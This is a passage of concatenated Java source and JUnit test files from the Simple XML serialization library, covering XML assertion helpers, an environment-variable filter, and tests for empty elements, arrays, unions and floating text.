Style camelCaseStyle = new CamelCaseStyle(true, false);
Format camelCaseFormat = new Format(camelCaseStyle);
Persister camelCase = new Persister(strategy, camelCaseFormat);
StringWriter camelCaseWriter = new StringWriter();
camelCase.write(type, camelCaseWriter);
camelCase.write(type, System.out);
camelCase.read(type.getClass(), camelCaseWriter.toString());
FileSystem.writeString(camelCaseFile, camelCaseWriter.toString());
}
public static synchronized Document parse(String text) throws Exception {
return builder.parse(new InputSource(new StringReader(text)));
}
public static synchronized void validate(String text) throws Exception {
builder.parse(new InputSource(new StringReader(text)));
System.out.println(text);
}
public void assertElementExists(String sourceXml, String pathExpression) throws Exception {
assertMatch(sourceXml, pathExpression, new MatchAny(), true);
}
public void assertElementHasValue(String sourceXml, String pathExpression, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new ElementMatch(value), true);
}
public void assertElementHasCDATA(String sourceXml, String pathExpression, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new ElementCDATAMatch(value), true);
}
public void assertElementHasAttribute(String sourceXml, String pathExpression, String name, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new AttributeMatch(name, value), true);
}
public void assertElementHasNamespace(String sourceXml, String pathExpression, String reference) throws Exception {
assertMatch(sourceXml, pathExpression, new OfficialNamespaceMatch(reference), true);
}
public void assertElementDoesNotExist(String sourceXml, String pathExpression) throws Exception {
assertMatch(sourceXml, pathExpression, new MatchAny(), false);
}
public void assertElementDoesNotHaveValue(String sourceXml, String pathExpression, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new ElementMatch(value), false);
}
public void assertElementDoesNotHaveCDATA(String sourceXml, String pathExpression, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new ElementCDATAMatch(value), false);
}
public void assertElementDoesNotHaveAttribute(String sourceXml, String pathExpression, String name, String value) throws Exception {
assertMatch(sourceXml, pathExpression, new AttributeMatch(name, value), false);
}
public void assertElementDoesNotHaveNamespace(String sourceXml, String pathExpression, String reference) throws Exception {
assertMatch(sourceXml, pathExpression, new OfficialNamespaceMatch(reference), false);
}
private void assertMatch(String sourceXml, String pathExpression, ExpressionMatch match, boolean assertTrue) throws Exception {
Document document = parse(sourceXml);
ExpressionMatcher matcher = new ExpressionMatcher(pathExpression, match);
if(!assertTrue) {
assertFalse("Document does have expression '"+pathExpression+"' with "+match.getDescription()+" for "+sourceXml, matcher.matches(document));
} else {
assertTrue("Document does not match expression '"+pathExpression+"' with "+match.getDescription()+" for "+sourceXml, matcher.matches(document));
}
}
private static class ExpressionMatcher {
private Pattern pattern;
private String[] segments;
private ExpressionMatch match;
private String pathExpression;
public ExpressionMatcher(String pathExpression, ExpressionMatch match) {
this.segments = pathExpression.replaceAll("^\\/", "").split("\\/");
this.pattern = Pattern.compile("^(.*)\\[([0-9]+)\\]$");
this.pathExpression = pathExpression;
this.match = match;
}
public boolean matches(Document document) {
org.w3c.dom.Element element = document.getDocumentElement();
if(!getLocalPart(element).equals(segments[0])) {
return false;
}
for(int i = 1; i < segments.length; i++) {
Matcher matcher = pattern.matcher(segments[i]);
String path = segments[i];
int index = 0;
if(matcher.matches()) {
String value = matcher.group(2);
index = Integer.parseInt(value) -1;
path = matcher.group(1);
}
List<org.w3c.dom.Element> list = getElementsByTagName(element, path);
if(index >= list.size()) {
return false;
}
element = list.get(index);
if(element == null) {
return false;
}
}
return match.match(element);
}
public String toString() {
return pathExpression;
}
}
private static List<org.w3c.dom.Element> getElementsByTagName(org.w3c.dom.Element element, String name) {
List<org.w3c.dom.Element> list = new ArrayList<org.w3c.dom.Element>();
NodeList allElements = element.getElementsByTagName("*");
for(int i = 0; i < allElements.getLength(); i++) {
Node node = allElements.item(i);
if(node instanceof org.w3c.dom.Element && node.getParentNode() == element) {
org.w3c.dom.Element itemNode = (org.w3c.dom.Element)node;
String localName = getLocalPart(itemNode);
if(localName.equals(name)) {
list.add(itemNode);
}
}
}
return list;
}
private static String getLocalPart(org.w3c.dom.Element element) {
if(element != null) {
String tagName = element.getTagName();
if(tagName != null) {
return tagName.replaceAll(".*:", "");
}
}
return null;
}
private static String getPrefix(org.w3c.dom.Element element) {
if(element != null) {
String tagName = element.getTagName();
if(tagName != null && tagName.matches(".+:.+")) {
return tagName.replaceAll(":.*", "");
}
}
return null;
}
private static interface ExpressionMatch{
public boolean match(org.w3c.dom.Element element);
public String getDescription();
}
private static class MatchAny implements ExpressionMatch {
public boolean match(org.w3c.dom.Element element) {
return element != null;
}
public String getDescription(){
return "path";
}
}
private static class ElementMatch implements ExpressionMatch {
private final String text;
public ElementMatch(String text){
this.text = text;
}
public boolean match(org.w3c.dom.Element element) {
if(element != null) {
Node value = element.getFirstChild();
return value != null && value.getNodeValue().equals(text);
}
return false;
}
public String getDescription() {
return "text value equal to '"+text+"'";
}
}
private static class ElementCDATAMatch implements ExpressionMatch {
private final String text;
public ElementCDATAMatch(String text){
this.text = text;
}
public boolean match(org.w3c.dom.Element element) {
if(element != null) {
Node value = element.getFirstChild();
if(value instanceof CDATASection) {
return value != null && value.getNodeValue().equals(text);
}
return false;
}
return false;
}
public String getDescription() {
return "text value equal to '"+text+"'";
}
}
private static class NamespaceMatch implements ExpressionMatch {
private final String reference;
public NamespaceMatch(String reference) {
this.reference = reference;
}
public boolean match(org.w3c.dom.Element element) {
if(element != null) {
String prefix = getPrefix(element); // a:element -> a
if(prefix != null && prefix.equals("")) {
prefix = null;
}
return match(element, prefix);
}
return false;
}
private boolean match(org.w3c.dom.Element element, String prefix) {
if(element != null) {
String currentPrefix = getPrefix(element); // if prefix is null, then this is inherited
if((currentPrefix != null && prefix == null) ) {
prefix = currentPrefix; // inherit parents
}
String name = "xmlns"; // default xmlns=<reference>
if(prefix != null && !prefix.equals("")) {
name = name + ":" + prefix; // xmlns:a=<reference>
}
String value = element.getAttribute(name);
if(value == null || value.equals("")) {
Node parent = element.getParentNode();
if(parent instanceof org.w3c.dom.Element) {
return match((org.w3c.dom.Element)element.getParentNode(), prefix);
}
}
return value != null && value.equals(reference);
}
return false;
}
public String getDescription(){
return "namespace reference as '"+reference+"'";
}
}
private static class OfficialNamespaceMatch implements ExpressionMatch {
private final String reference;
public OfficialNamespaceMatch(String reference) {
this.reference = reference;
}
public boolean match(org.w3c.dom.Element element) {
if(element != null) {
String actual = element.getNamespaceURI();
if(actual == null){
return reference == null || reference.equals("");
}
return element.getNamespaceURI().equals(reference);
}
return false;
}
public String getDescription(){
return "namespace reference as '"+reference+"'";
}
}
private static class AttributeMatch implements ExpressionMatch {
private final String name;
private final String value;
public AttributeMatch(String name, String value) {
this.name = name;
this.value = value;
}
public boolean match(org.w3c.dom.Element element) {
if(element != null) {
String attribute = element.getAttribute(name);
return attribute != null && attribute.equals(value);
}
return false;
}
public String getDescription() {
return "attribute "+name+"='"+value+"'";
}
}
private static void print(Node node) {
Queue<Node> nodes = new LinkedList<Node>();
nodes.add(node);
while (!nodes.isEmpty()) {
node = nodes.poll();
NodeList list = node.getChildNodes();
for (int i = 0; i < list.getLength(); i++) {
if(list.item(i) instanceof org.w3c.dom.Element) {
nodes.add(list.item(i));
}
}
System.out.format("name='%s' prefix='%s' reference='%s'%n", node.getPrefix(), node.getLocalName(),
node.getNamespaceURI());
}
}
public static void dumpNamespaces(String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
Document doc = dbf.newDocumentBuilder().parse(
new InputSource(new StringReader(xml)));
print(doc.getDocumentElement());
}
private static class DebugVisitor implements Visitor {
public void read(Type type, NodeMap<InputNode> node){
InputNode element = node.getNode();
if(element.isRoot()) {
Object source = element.getSource();
Class sourceType = source.getClass();
Class itemType = type.getType();
System.out.printf(">>>>> ELEMENT=[%s]%n>>>>> TYPE=[%s]%n>>>>> SOURCE=[%s]%n", element, itemType, sourceType);
}
}
public void write(Type type, NodeMap<OutputNode> node) throws Exception {
if(!node.getNode().isRoot()) {
node.getNode().setComment(type.getType().getName());
}
}
}
public static class FileSystem {
public static File getDirectory() {
File directory = null;
try{
String path = System.getProperty("output");
if(path != null) {
directory = new File(path);
}
} catch(Exception e){
e.printStackTrace();
}
if(directory == null) {
directory = new File("output");
}
if(!directory.exists()) {
directory.mkdirs();
}
return directory;
}
public static boolean validFileSystem() {
return getDirectory().exists();
}
public static void writeString(String fileName, String content) {
writeBytes(fileName, content.getBytes());
}
public static void writeBytes(String fileName, byte[] content) {
try {
File directory = getDirectory();
File file = new File(directory, fileName);
FileOutputStream out = new FileOutputStream(file);
out.write(content);
out.flush();
out.close();
}catch(Exception e){
System.err.println(e.getMessage());
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EmptyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.core.ValueRequiredException;
import org.simpleframework.xml.ValidationTestCase;
public class EmptyTest extends ValidationTestCase {
private static final String EMPTY_ELEMENT =
"<?xml version=\"1.0\"?>\n"+
"<test>\n"+
" <empty></empty>\r\n"+
"</test>\n";
private static final String BLANK_ELEMENT =
"<?xml version=\"1.0\"?>\n"+
"<test>\n"+
" <empty/>\r\n"+
"</test>";
private static final String EMPTY_ATTRIBUTE =
"<?xml version=\"1.0\"?>\n"+
"<test attribute=''/>\n";
private static final String DEFAULT_ATTRIBUTE =
"<?xml version=\"1.0\"?>\n"+
"<test name='<NAME>' address='NULL'>\n"+
" <description>Some description</description>\r\n"+
"</test>";
@Root(name="test")
private static class RequiredElement {
@Element(name="empty")
private String empty;
}
@Root(name="test")
private static class OptionalElement {
@Element(name="empty", required=false)
private String empty;
}
@Root(name="test")
private static class EmptyCollection {
@ElementList(required=false)
private Collection<String> empty;
}
@Root(name="test")
private static class RequiredMethodElement {
private String text;
@Element
private void setEmpty(String text) {
this.text = text;
}
@Element
private String getEmpty() {
return text;
}
}
@Root(name="test")
private static class RequiredAttribute {
@Attribute(name="attribute")
private String attribute;
}
@Root(name="test")
private static class OptionalAttribute {
@Attribute(name="attribute", required=false)
private String attribute;
}
@Root(name="test")
private static class DefaultedAttribute {
@Attribute(empty="NULL")
private String name;
@Attribute(empty="NULL")
private String address;
@Element
private String description;
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testRequiredEmpty() throws Exception {
boolean success = false;
try {
persister.read(RequiredElement.class, EMPTY_ELEMENT);
} catch(ValueRequiredException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testRequiredEmptyMethod() throws Exception {
boolean success = false;
try {
persister.read(RequiredMethodElement.class, EMPTY_ELEMENT);
} catch(ValueRequiredException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testRequiredBlank() throws Exception {
boolean success = false;
try {
persister.read(RequiredElement.class, BLANK_ELEMENT);
} catch(ValueRequiredException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testOptionalEmpty() throws Exception {
boolean success = false;
try {
persister.read(RequiredElement.class, EMPTY_ELEMENT);
} catch(ValueRequiredException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testOptionalBlank() throws Exception {
OptionalElement element = persister.read(OptionalElement.class, BLANK_ELEMENT);
assertNull(element.empty);
}
public void testEmptyCollection() throws Exception {
EmptyCollection element = persister.read(EmptyCollection.class, BLANK_ELEMENT);
assertNotNull(element.empty);
assertEquals(element.empty.size(), 0);
validate(element, persister);
element.empty = null;
validate(element, persister);
}
public void testRequiredEmptyAttribute() throws Exception {
RequiredAttribute entry = persister.read(RequiredAttribute.class, EMPTY_ATTRIBUTE);
assertEquals(entry.attribute, "");
}
public void testOptionalEmptyAttribute() throws Exception {
OptionalAttribute entry = persister.read(OptionalAttribute.class, EMPTY_ATTRIBUTE);
assertEquals(entry.attribute, "");
}
public void testDefaultedAttribute() throws Exception {
DefaultedAttribute entry = persister.read(DefaultedAttribute.class, DEFAULT_ATTRIBUTE);
assertEquals(entry.name, "<NAME>");
assertEquals(entry.address, null);
assertEquals(entry.description, "Some description");
validate(entry, persister);
entry.name = null;
StringWriter out = new StringWriter();
persister.write(entry, out);
String result = out.toString();
assertElementHasAttribute(result, "/test", "name", "NULL");
assertElementHasAttribute(result, "/test", "address", "NULL");
assertElementHasValue(result, "/test/description", "Some description");
validate(entry, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/Verbosity.java<|end_filename|>
/*
* Verbosity.java July 2012
*
* Copyright (C) 2012, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>Verbosity</code> enumeration is used to specify a verbosity
* preference for the resulting XML. Typically the verbosity preference
* is used when serializing an object that does not have explicit XML
* annotations associated with a type. In such a scenario this will
* indicate whether a high verbosity level is required or a low one.
*
* @author <NAME>
*
* @see org.simpleframework.xml.stream.Format
*/
public enum Verbosity {
/**
* This specifies a preference for elements over attributes.
*/
HIGH,
/**
* This specifies a preference for attributes over elements.
*/
LOW;
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionWithNonMatchingListEntriesTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementListUnion;
public class UnionWithNonMatchingListEntriesTest extends ValidationTestCase {
@Root
private static class Type{}
private static class A extends Type{};
private static class B extends Type{};
private static class C extends Type{};
private static class D extends Type{};
private static class E extends Type{};
@Root
private static class NonMatchingUnionList{
@ElementListUnion({
@ElementList(entry="a", inline=true, type=A.class),
@ElementList(entry="b", inline=true, type=B.class),
@ElementList(entry="c", inline=true, type=C.class),
@ElementList(entry="d", inline=true, type=D.class)
})
private List<Type> list;
public NonMatchingUnionList(){
this.list = new ArrayList<Type>();
}
public void addType(Type t) {
list.add(t);
}
}
public void testNonMatching() throws Exception {
Persister persister = new Persister();
NonMatchingUnionList list = new NonMatchingUnionList();
boolean exception = false;
list.addType(new A());
list.addType(new B());
list.addType(new C());
list.addType(new D());
list.addType(new E());
list.addType(new A());
try {
persister.write(list, System.out);
}catch(Exception e){
e.printStackTrace();
exception = true;
}
assertTrue("Should fail when no match found", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/DateFormatter.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.atomic.AtomicInteger;
import org.simpleframework.xml.transform.Transform;
class DateFormatter implements Transform<Date> {
private AtomicInteger count;
private TaskQueue queue;
private String format;
public DateFormatter(String format) {
this(format, 10);
}
public DateFormatter(String format, int count) {
this.count = new AtomicInteger(count);
this.queue = new TaskQueue(count);
this.format = format;
}
public Date read(String value) throws Exception {
return borrow().read(value);
}
public String write(Date value) throws Exception {
return borrow().write(value);
}
private Task borrow() throws InterruptedException {
int size = count.get();
if(size > 0) {
int next = count.getAndDecrement();
if(next > 0) {
return new Task(format);
}
}
return queue.take();
}
private void release(Task task) {
queue.offer(task);
}
private class Task {
private SimpleDateFormat format;
public Task(String format) {
this.format = new SimpleDateFormat(format);
}
public Date read(String value) throws ParseException {
try {
return format.parse(value);
} finally {
release(this);
}
}
public String write(Date value) {
try {
return format.format(value);
} finally {
release(this);
}
}
}
private class TaskQueue extends LinkedBlockingQueue<Task> {
public TaskQueue(int size) {
super(size);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/LocaleTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.util.Locale;
import org.simpleframework.xml.transform.LocaleTransform;
import junit.framework.TestCase;
public class LocaleTransformTest extends TestCase {
public void testLocale() throws Exception {
Locale locale = Locale.UK;
LocaleTransform format = new LocaleTransform();
String value = format.write(locale);
Locale copy = format.read(value);
assertEquals(locale, copy);
locale = Locale.ENGLISH;
value = format.write(locale);
copy = format.read(value);
assertEquals(locale, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Test1Test.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class Test1Test extends TestCase {
@Root(name="test1")
public static class Test1 {
@Attribute(name="iri")
final String identifier;
@Path(value="resource")
@Attribute(name="iri")
final String identifier1;
public Test1(
@Attribute(name="iri") final String identifier,
@Path(value="resource")@Attribute(name="iri") final String identifier1)
{
super();
this.identifier = identifier;
this.identifier1 = identifier1;
}
}
public void testParameterMismatch() throws Exception{
Serializer s = new Persister();
StringWriter sw = new StringWriter();
s.write(new Test1("a", "b"), sw);
String serializedForm = sw.toString();
System.out.println(serializedForm);
Test1 o = s.read(Test1.class, serializedForm);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/reflect/ReflectionTest.java<|end_filename|>
package org.simpleframework.xml.reflect;
import java.lang.reflect.Method;
import junit.framework.TestCase;
public class ReflectionTest extends TestCase {
static final String[] EMPTY_NAMES = new String[0];
private static String someMethod(int anInt, String someString, Class thisIsAType) {
return null;
}
public void testParameterNames() throws Exception {
Method method = ReflectionTest.class.getDeclaredMethod("someMethod", new Class[]{int.class, String.class, Class.class});
Reflection namer = new Reflection();
String[] names = namer.lookupParameterNames(method, true);
assertEquals("anInt", names[0]);
assertEquals("someString", names[1]);
assertEquals("thisIsAType", names[2]);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/filter/EnvironmentFilter.java<|end_filename|>
/*
* EnvironmentFilter.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.filter;
/**
* The <code>EnvironmentFilter</code> object is used to provide a
* filter that will replace the specified values with an environment
* variable from the OS. This can be given a delegate filter which
* can be used to resolve replacements should the value requested
* not match an environment variable from the OS.
*
* @author <NAME>
*/
public class EnvironmentFilter implements Filter {
/**
* Filter delegated to if no environment variable is resolved.
*/
private Filter filter;
/**
* Constructor for the <code>EnvironmentFilter</code> object. This
* creates a filter that resolves replacements using environment
* variables. Should the environment variables not contain the
* requested mapping this will return a null value.
*/
public EnvironmentFilter() {
this(null);
}
/**
* Constructor for the <code>EnvironmentFilter</code> object. This
* creates a filter that resolves replacements using environment
* variables. Should the environment variables not contain the
* requested mapping this will delegate to the specified filter.
*
* @param filter the filter delegated to should resolution fail
*/
public EnvironmentFilter(Filter filter) {
this.filter = filter;
}
/**
* Replaces the text provided with the value resolved from the
* environment variables. If the environment variables fail this
* will delegate to the specified <code>Filter</code> if it is
* not a null object. If no match is found a null is returned.
*
* @param text this is the text value to be replaced
*
* @return this will return the replacement text resolved
*/
public String replace(String text) {
String value = System.getenv(text);
if(value != null) {
return value;
}
if(filter != null) {
return filter.replace(text);
}
return null;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/FloatingTextTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import junit.framework.TestCase;
public class FloatingTextTest extends TestCase {
public static final String SOURCE =
"<root>\n" +
" Floating text\n"+
" <empty/>Some more floating text\n" +
" <notEmpty name='foo'/>\n" +
" <other>Some other text</other>Following text\n" +
"</root>";
public static final String COMPLEX =
"<root>\n" +
" First line\n"+
" <a>A</a>\n" +
" Second line\n"+
" <b>B</b>\n" +
" Third line\n" +
"</root>";
public void testComplexSource() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(COMPLEX));
assertTrue(event.isRoot());
assertFalse(event.isEmpty());
assertEquals(event.getValue(), "\n First line\n ");
assertEquals("root", event.getName());
InputNode a = event.getNext("a");
assertNotNull(a);
assertEquals(a.getName(), "a");
assertEquals(a.getValue(), "A");
InputNode a2 = event.getNext("a");
assertEquals(event.getValue(), "\n Second line\n ");
assertNull(a2);
}
public void testEmptySource() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(SOURCE));
assertTrue(event.isRoot());
assertFalse(event.isEmpty());
assertEquals(event.getValue(), "\n Floating text\n ");
assertEquals("root", event.getName());
InputNode child = event.getNext();
assertTrue(child.isEmpty());
assertEquals("empty", child.getName());
assertEquals(event.getValue(), "Some more floating text\n ");
child = event.getNext();
assertFalse(child.isEmpty());
assertEquals("notEmpty", child.getName());
assertEquals("foo", child.getAttribute("name").getValue());
child = event.getNext();
assertFalse(child.isEmpty());
assertNull(event.getValue());
assertEquals(child.getValue(), "Some other text");
assertTrue(child.isEmpty());
assertEquals(event.getValue(), "Following text\n");
assertEquals("other", child.getName());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ArrayTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.InstantiationException;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.ValidationTestCase;
public class ArrayTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <entry value='entry one'/> \n\r"+
" <entry value='entry two'/> \n\r"+
" <entry value='entry three'/> \n\r"+
" <entry value='entry four'/> \n\r"+
" <entry value='entry five'/> \n\r"+
" </array>\n\r"+
"</root>";
private static final String PRIMITIVE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text>entry one</text> \n\r"+
" <text>entry two</text> \n\r"+
" <text>entry three</text> \n\r"+
" <text>entry four</text> \n\r"+
" <text>entry five</text> \n\r"+
" </array>\n\r"+
"</root>";
private static final String PRIMITIVE_INT =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text>1</text> \n\r"+
" <text>2</text> \n\r"+
" <text>3</text> \n\r"+
" <text>4</text> \n\r"+
" <text>5</text> \n\r"+
" </array>\n\r"+
"</root>";
private static final String PRIMITIVE_MULTIDIMENSIONAL_INT =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text> 1,2,3, 4, 5, 6</text> \n\r"+
" <text>2, 4, 6, 8, 10, 12</text> \n\r"+
" <text>3, 6 ,9,12, 15, 18</text> \n\r"+
" <text>4, 8, 12, 16, 20, 24</text> \n\r"+
" <text>5, 10,15,20,25,30</text> \n\r"+
" </array>\n\r"+
"</root>";
private static final String DEFAULT_PRIMITIVE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <string>entry one</string> \n\r"+
" <string>entry two</string> \n\r"+
" <string>entry three</string> \n\r"+
" <string>entry four</string> \n\r"+
" <string>entry five</string> \n\r"+
" </array>\n\r"+
"</root>";
private static final String COMPOSITE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text value='entry one'/> \n\r"+
" <text value='entry two'/> \n\r"+
" <text value='entry three'/> \n\r"+
" <text value='entry four'/> \n\r"+
" <text value='entry five'/> \n\r"+
" </array>\n\r"+
"</root>";
private static final String DEFAULT_COMPOSITE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text value='entry one'/> \n\r"+
" <text value='entry two'/> \n\r"+
" <text value='entry three'/> \n\r"+
" <text value='entry four'/> \n\r"+
" <text value='entry five'/> \n\r"+
" </array>\n\r"+
"</root>";
private static final String PRIMITIVE_NULL =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <text/> \n\r"+
" <text>entry two</text> \n\r"+
" <text>entry three</text> \n\r"+
" <text/> \n\r"+
" <text/> \n\r"+
" </array>\n\r"+
"</root>";
private static final String COMPOSITE_NULL =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <entry/>\r\n"+
" <entry value='entry two'/> \n\r"+
" <entry/>\r\n"+
" <entry/>\r\n"+
" <entry value='entry five'/> \n\r"+
" </array>\n\r"+
"</root>";
private static final String CHARACTER =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <array length='5'>\n\r"+
" <char>a</char> \n\r"+
" <char>b</char> \n\r"+
" <char>c</char> \n\r"+
" <char>d</char> \n\r"+
" <char>e</char> \n\r"+
" </array>\n\r"+
"</root>";
@Root(name="root")
private static class ArrayExample {
@ElementArray(name="array", entry="entry")
public Text[] array;
}
@Root(name="root")
private static class BadArrayExample {
@ElementArray(name="array", entry="entry")
public Text array;
}
@Root(name="text")
private static class Text {
@Attribute(name="value")
public String value;
public Text() {
super();
}
public Text(String value) {
this.value = value;
}
}
@Root(name="text")
private static class ExtendedText extends Text {
public ExtendedText() {
super();
}
public ExtendedText(String value) {
super(value);
}
}
@Root(name="root")
private static class PrimitiveArrayExample {
@ElementArray(name="array", entry="text")
private String[] array;
}
@Root(name="root")
private static class PrimitiveIntegerArrayExample {
@ElementArray(name="array", entry="text")
private int[] array;
}
@Root(name="root")
private static class PrimitiveMultidimensionalIntegerArrayExample {
@ElementArray(name="array", entry="text")
private int[][] array;
}
@Root(name="root")
private static class DefaultPrimitiveArrayExample {
@ElementArray
private String[] array;
}
@Root(name="root")
private static class ParentCompositeArrayExample {
@ElementArray(name="array", entry="entry")
private Text[] array;
}
@Root(name="root")
private static class DefaultCompositeArrayExample {
@ElementArray
private Text[] array;
}
@Root(name="root")
private static class CharacterArrayExample {
@ElementArray(name="array", entry="char")
private char[] array;
}
@Root(name="root")
private static class DifferentArrayExample {
@ElementArray(name="array", entry="entry")
private Text[] array;
public DifferentArrayExample() {
this.array = new Text[] { new ExtendedText("one"), null, null, new ExtendedText("two"), null, new ExtendedText("three") };
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
/*
public void testExample() throws Exception {
ArrayExample example = serializer.read(ArrayExample.class, SOURCE);
assertEquals(example.array.length, 5);
assertEquals(example.array[0].value, "entry one");
assertEquals(example.array[1].value, "entry two");
assertEquals(example.array[2].value, "entry three");
assertEquals(example.array[3].value, "entry four");
assertEquals(example.array[4].value, "entry five");
}
public void testBadExample() throws Exception {
boolean success = false;
try {
BadArrayExample example = serializer.read(BadArrayExample.class, SOURCE);
} catch(InstantiationException e) {
success = true;
}
assertTrue(success);
}
public void testWriteArray() throws Exception {
ArrayExample example = new ArrayExample();
example.array = new Text[100];
for(int i = 0; i < example.array.length; i++) {
example.array[i] = new Text(String.format("index %s", i));
}
validate(example, serializer);
StringWriter writer = new StringWriter();
serializer.write(example, writer);
String content = writer.toString();
assertElementHasAttribute(content, "/root/array", "length", "100");
assertElementHasAttribute(content, "/root/array/entry[1]", "value", "index 0");
assertElementHasAttribute(content, "/root/array/entry[100]", "value", "index 99");
ArrayExample deserialized = serializer.read(ArrayExample.class, content);
assertEquals(deserialized.array.length, example.array.length);
// Ensure serialization maintains exact content
for(int i = 0; i < deserialized.array.length; i++) {
assertEquals(deserialized.array[i].value, example.array[i].value);
}
for(int i = 0; i < example.array.length; i++) {
if(i % 2 == 0) {
example.array[i] = null;
}
}
validate(example, serializer);
StringWriter oddOnly = new StringWriter();
serializer.write(example, oddOnly);
content = oddOnly.toString();
assertElementHasAttribute(content, "/root/array", "length", "100");
assertElementDoesNotHaveAttribute(content, "/root/array/entry[1]", "value", "index 0");
assertElementHasAttribute(content, "/root/array/entry[2]", "value", "index 1");
assertElementDoesNotHaveAttribute(content, "/root/array/entry[3]", "value", "index 2");
assertElementHasAttribute(content, "/root/array/entry[100]", "value", "index 99");
deserialized = serializer.read(ArrayExample.class, content);
for(int i = 0, j = 0; i < example.array.length; i++) {
if(i % 2 != 0) {
assertEquals(example.array[i].value, deserialized.array[i].value);
} else {
assertNull(example.array[i]);
assertNull(deserialized.array[i]);
}
}
}
public void testPrimitive() throws Exception {
PrimitiveArrayExample example = serializer.read(PrimitiveArrayExample.class, PRIMITIVE);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], "entry one");
assertEquals(example.array[1], "entry two");
assertEquals(example.array[2], "entry three");
assertEquals(example.array[3], "entry four");
assertEquals(example.array[4], "entry five");
validate(example, serializer);
}
public void testPrimitiveInteger() throws Exception {
PrimitiveIntegerArrayExample example = serializer.read(PrimitiveIntegerArrayExample.class, PRIMITIVE_INT);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], 1);
assertEquals(example.array[1], 2);
assertEquals(example.array[2], 3);
assertEquals(example.array[3], 4);
assertEquals(example.array[4], 5);
validate(example, serializer);
}
public void testPrimitiveMultidimensionalInteger() throws Exception {
PrimitiveMultidimensionalIntegerArrayExample example = serializer.read(PrimitiveMultidimensionalIntegerArrayExample.class, PRIMITIVE_MULTIDIMENSIONAL_INT);
assertEquals(example.array.length, 5);
assertEquals(example.array[0][0], 1);
assertEquals(example.array[0][1], 2);
assertEquals(example.array[0][2], 3);
assertEquals(example.array[0][3], 4);
